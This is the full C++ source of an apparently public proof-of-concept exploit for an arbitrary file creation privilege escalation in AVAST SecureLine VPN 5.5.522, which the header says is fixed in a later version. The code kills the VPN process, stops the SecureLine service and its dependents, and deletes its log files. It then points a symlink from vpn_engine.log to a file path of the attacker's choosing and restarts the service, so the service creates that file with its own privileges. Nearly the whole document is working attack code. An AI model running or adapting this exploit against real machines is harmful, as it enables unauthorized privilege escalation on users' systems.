/* Proof-of-Concept: AVAST SecureLine VPN 5.5.522 - Arbitrary File Creation Vulnerability Author: Nafiez CVE: Just requested a CVE, haven't been assign yet. Fix: The vulnerability has been fixed on version 5.6.4982.470 Notes: Some of the code were rewritten back. Originally from @RedyOpsResearchLabs */ #include "stdafx.h" #include "DisplayError.h" #include #include #include #include #include #include #include #include inline bool FileExists(const LPCWSTR& name) { struct _stat buf; return (_wstat(name, &buf) == 0); } void killProcessByName(const wchar_t *filename) { HANDLE hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPALL, NULL); PROCESSENTRY32 pEntry = { 0 }; pEntry.dwSize = sizeof(pEntry); BOOL hRes = Process32First(hSnapShot, &pEntry); while (hRes) { if (wcscmp(pEntry.szExeFile, filename) == 0) { HANDLE hProcess = OpenProcess(PROCESS_TERMINATE, 0, (DWORD)pEntry.th32ProcessID); if (hProcess != NULL) { TerminateProcess(hProcess, 9); CloseHandle(hProcess); } } hRes = Process32Next(hSnapShot, &pEntry); } CloseHandle(hSnapShot); } DWORD StopService(SC_HANDLE hSCM, SC_HANDLE hService, BOOL fStopDependencies, DWORD dwTimeout) { SERVICE_STATUS ss; DWORD dwStartTime = GetTickCount(); if (!QueryServiceStatus(hService, &ss)) return GetLastError(); if (ss.dwCurrentState == SERVICE_STOPPED) return ERROR_SUCCESS; while (ss.dwCurrentState == SERVICE_STOP_PENDING) { Sleep(ss.dwWaitHint); if (!QueryServiceStatus(hService, &ss)) return GetLastError(); if (ss.dwCurrentState == SERVICE_STOPPED) return ERROR_SUCCESS; if (GetTickCount() - dwStartTime > dwTimeout) return ERROR_TIMEOUT; } if (fStopDependencies) { DWORD i; DWORD dwBytesNeeded; DWORD dwCount; LPENUM_SERVICE_STATUS lpDependencies = NULL; ENUM_SERVICE_STATUS ess; SC_HANDLE hDepService; if (EnumDependentServices(hService, SERVICE_ACTIVE, lpDependencies, 0, &dwBytesNeeded, &dwCount)) { wprintf(L"There are no dependencies for this service...\n"); } else { if (GetLastError() != ERROR_MORE_DATA) return GetLastError(); lpDependencies = (LPENUM_SERVICE_STATUS)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dwBytesNeeded); if (!lpDependencies) { DisplayError(L"Allocation for dependencies failed!\n", GetLastError()); return GetLastError(); } __try { if (!EnumDependentServices(hService, SERVICE_ACTIVE, lpDependencies, dwBytesNeeded, &dwBytesNeeded, &dwCount)) return GetLastError(); else wprintf(L"EnumDependentServices() is OK!Stopping the dependencies...\n"); for (i = 0; i < dwCount; i++) { wprintf(L"%s service...\n", lpDependencies->lpServiceName); ess = *(lpDependencies + i); hDepService = OpenService(hSCM, ess.lpServiceName, SERVICE_STOP | SERVICE_QUERY_STATUS); if (!hDepService) return GetLastError(); __try { if (!ControlService(hDepService, SERVICE_CONTROL_STOP, &ss)) return GetLastError(); else wprintf(L"Stopping %s ...\n", lpDependencies->lpServiceName); while (ss.dwCurrentState != SERVICE_STOPPED) { Sleep(ss.dwWaitHint); if (!QueryServiceStatus(hDepService, &ss)) return GetLastError(); if (ss.dwCurrentState == SERVICE_STOPPED) { wprintf(L"Dependencies %s service was stopped successfully!\n", lpDependencies->lpServiceName); break; } if (GetTickCount() - dwStartTime > dwTimeout) return ERROR_TIMEOUT; } } __finally { CloseServiceHandle(hDepService); } } } __finally { HeapFree(GetProcessHeap(), 0, lpDependencies); } } } if (!ControlService(hService, SERVICE_CONTROL_STOP, &ss)) return GetLastError(); while (ss.dwCurrentState != SERVICE_STOPPED) { Sleep(ss.dwWaitHint); if (!QueryServiceStatus(hService, &ss)) return GetLastError(); if (ss.dwCurrentState == SERVICE_STOPPED) break; if (GetTickCount() - dwStartTime > dwTimeout) return ERROR_TIMEOUT; } return ERROR_SUCCESS; } BOOL StartService(SC_HANDLE schSCManager) { SC_HANDLE schService; SERVICE_STATUS ssStatus; DWORD dwOldCheckPoint; DWORD dwStartTickCount; DWORD dwWaitTime; LPCWSTR lpszServiceName = L"SecureLine"; schService = OpenService(schSCManager, lpszServiceName, SERVICE_ALL_ACCESS); if (schService == NULL) { DisplayError(L"OpenService() failed\n", GetLastError()); return 0; } else wprintf(L"OpenService() looks OK.\n"); if (!StartService(schService, 0, NULL)) { DisplayError(L"StartService() failed, error: %d.\n", GetLastError()); return 0; } else wprintf(L"StartService(), service start pending.\n"); if (!QueryServiceStatus(schService, &ssStatus)) { wprintf(L"StartService(), service still start pending.\n"); return 0; } else wprintf(L"StartService(), service no longer start pending.\n"); dwStartTickCount = GetTickCount(); dwOldCheckPoint = ssStatus.dwCheckPoint; while (ssStatus.dwCurrentState == SERVICE_START_PENDING) { wprintf(L"Wait Hint: %d\n", ssStatus.dwWaitHint); dwWaitTime = ssStatus.dwWaitHint / 10; if (dwWaitTime < 1000) dwWaitTime = 1000; else if (dwWaitTime > 10000) dwWaitTime = 10000; Sleep(dwWaitTime); if (!QueryServiceStatus(schService, &ssStatus)) break; if (ssStatus.dwCheckPoint > dwOldCheckPoint) { wprintf(L"Service starting in progress...\n"); dwStartTickCount = GetTickCount(); dwOldCheckPoint = ssStatus.dwCheckPoint; } else { if ((GetTickCount() - dwStartTickCount) > ssStatus.dwWaitHint) { DisplayError(L"Well, starting the service looks no progress...\n", ssStatus.dwWaitHint); break; } } } if (CloseServiceHandle(schService) == 0) DisplayError(L"CloseServiceHandle() failed, error: %d.\n", GetLastError()); else wprintf(L"CloseServiceHandle() looks OK.\n"); if (ssStatus.dwCurrentState == SERVICE_RUNNING) { wprintf(L"StartService(), %s service successfully started.\n", lpszServiceName); return 1; } else { wprintf(L"\nService %s not started.\n", lpszServiceName); return 0; } } int _tmain() { HANDLE exploit = GetCurrentThread(); SetThreadPriority(exploit, THREAD_PRIORITY_TIME_CRITICAL); PWSTR cmdline = GetCommandLineW(); int argc; PWSTR* argv = CommandLineToArgvW(cmdline, &argc); LPCWSTR createFile = argv[1]; bool retval = false; wprintf(L"AVAST SecureLine VPN - Arbitrary File Creation EoP\n\n"); wprintf(L"Kill Vpn.exe process before deleting logs... \n"); killProcessByName(L"Vpn.exe"); SC_HANDLE hSCM; SC_HANDLE hService; DWORD dwError; LPCWSTR serviceName = L"SecureLine"; SERVICE_STATUS_PROCESS ssStatus; DWORD dwBytesNeeded; hSCM = OpenSCManager(NULL, NULL, SC_MANAGER_CONNECT); if (!hSCM) { DisplayError(L"OpenSCManager()", GetLastError()); return 0; } hService = OpenService(hSCM, serviceName, SERVICE_STOP | SERVICE_QUERY_STATUS | SERVICE_ENUMERATE_DEPENDENTS); if (!hService) { DisplayError(L"OpenService()", GetLastError()); return 0; } dwError = StopService(hSCM, hService, TRUE, 30000); if (dwError == ERROR_SUCCESS) wprintf(L"The main service, %s was stopped successfully!\n", serviceName); else DisplayError(L"StopService()", dwError); wprintf(L"Deleting log files from AVAST SecureLine ProgramData Folder \n\n"); LPCSTR file_to_delete = "C:\\ProgramData\\AVAST Software\\SecureLine\\log\\vpn_engine.log"; LPCSTR file_to_delete1 = "C:\\ProgramData\\AVAST Software\\SecureLine\\log\\BugReport.log"; LPCSTR file_to_delete2 = "C:\\ProgramData\\AVAST Software\\SecureLine\\log\\cef.log"; LPCSTR file_to_delete3 = "C:\\ProgramData\\AVAST Software\\SecureLine\\log\\js_console.log"; LPCSTR file_to_delete4 = "C:\\ProgramData\\AVAST Software\\SecureLine\\log\\opm.log"; LPCSTR file_to_delete5 = "C:\\ProgramData\\AVAST Software\\SecureLine\\log\\vpn_svc.log"; LPCSTR file_to_delete6 = "C:\\ProgramData\\AVAST Software\\SecureLine\\log\\vpn_ui.log"; DeleteFileA(file_to_delete); DeleteFileA(file_to_delete1); DeleteFileA(file_to_delete2); DeleteFileA(file_to_delete3); DeleteFileA(file_to_delete4); DeleteFileA(file_to_delete5); DeleteFileA(file_to_delete6); if (PathIsDirectoryEmpty(L"C:\\ProgramData\\AVAST Software\\SecureLine\\log\\")) { wprintf(L"Log folder has been clear! We're good to go...\n\n"); } else { DisplayError(L"Failed to clear the log file. Please check what is happening! \n\n", GetLastError()); return 0; } LPCWSTR vpn_engine = L"C:\\ProgramData\\AVAST Software\\SecureLine\\log\\vpn_engine.log"; LPCWSTR baseobjdir = nullptr; bool permanent = false; FileSymlink csv(permanent); csv.CreateSymlink(vpn_engine, createFile, baseobjdir); wprintf(L"Auto-restart the service...\n\n"); dwError = StartService(hSCM); if (dwError == ERROR_SUCCESS) wprintf(L"The main service, %s was started successfully!\n", serviceName); else DisplayError(L"StartService()", dwError); Wow64DisableWow64FsRedirection(NULL); do { retval = FileExists(createFile); } while (retval != true); wprintf(L"File successfully created! Please check the path file that was created :) \n\n "); return 0; }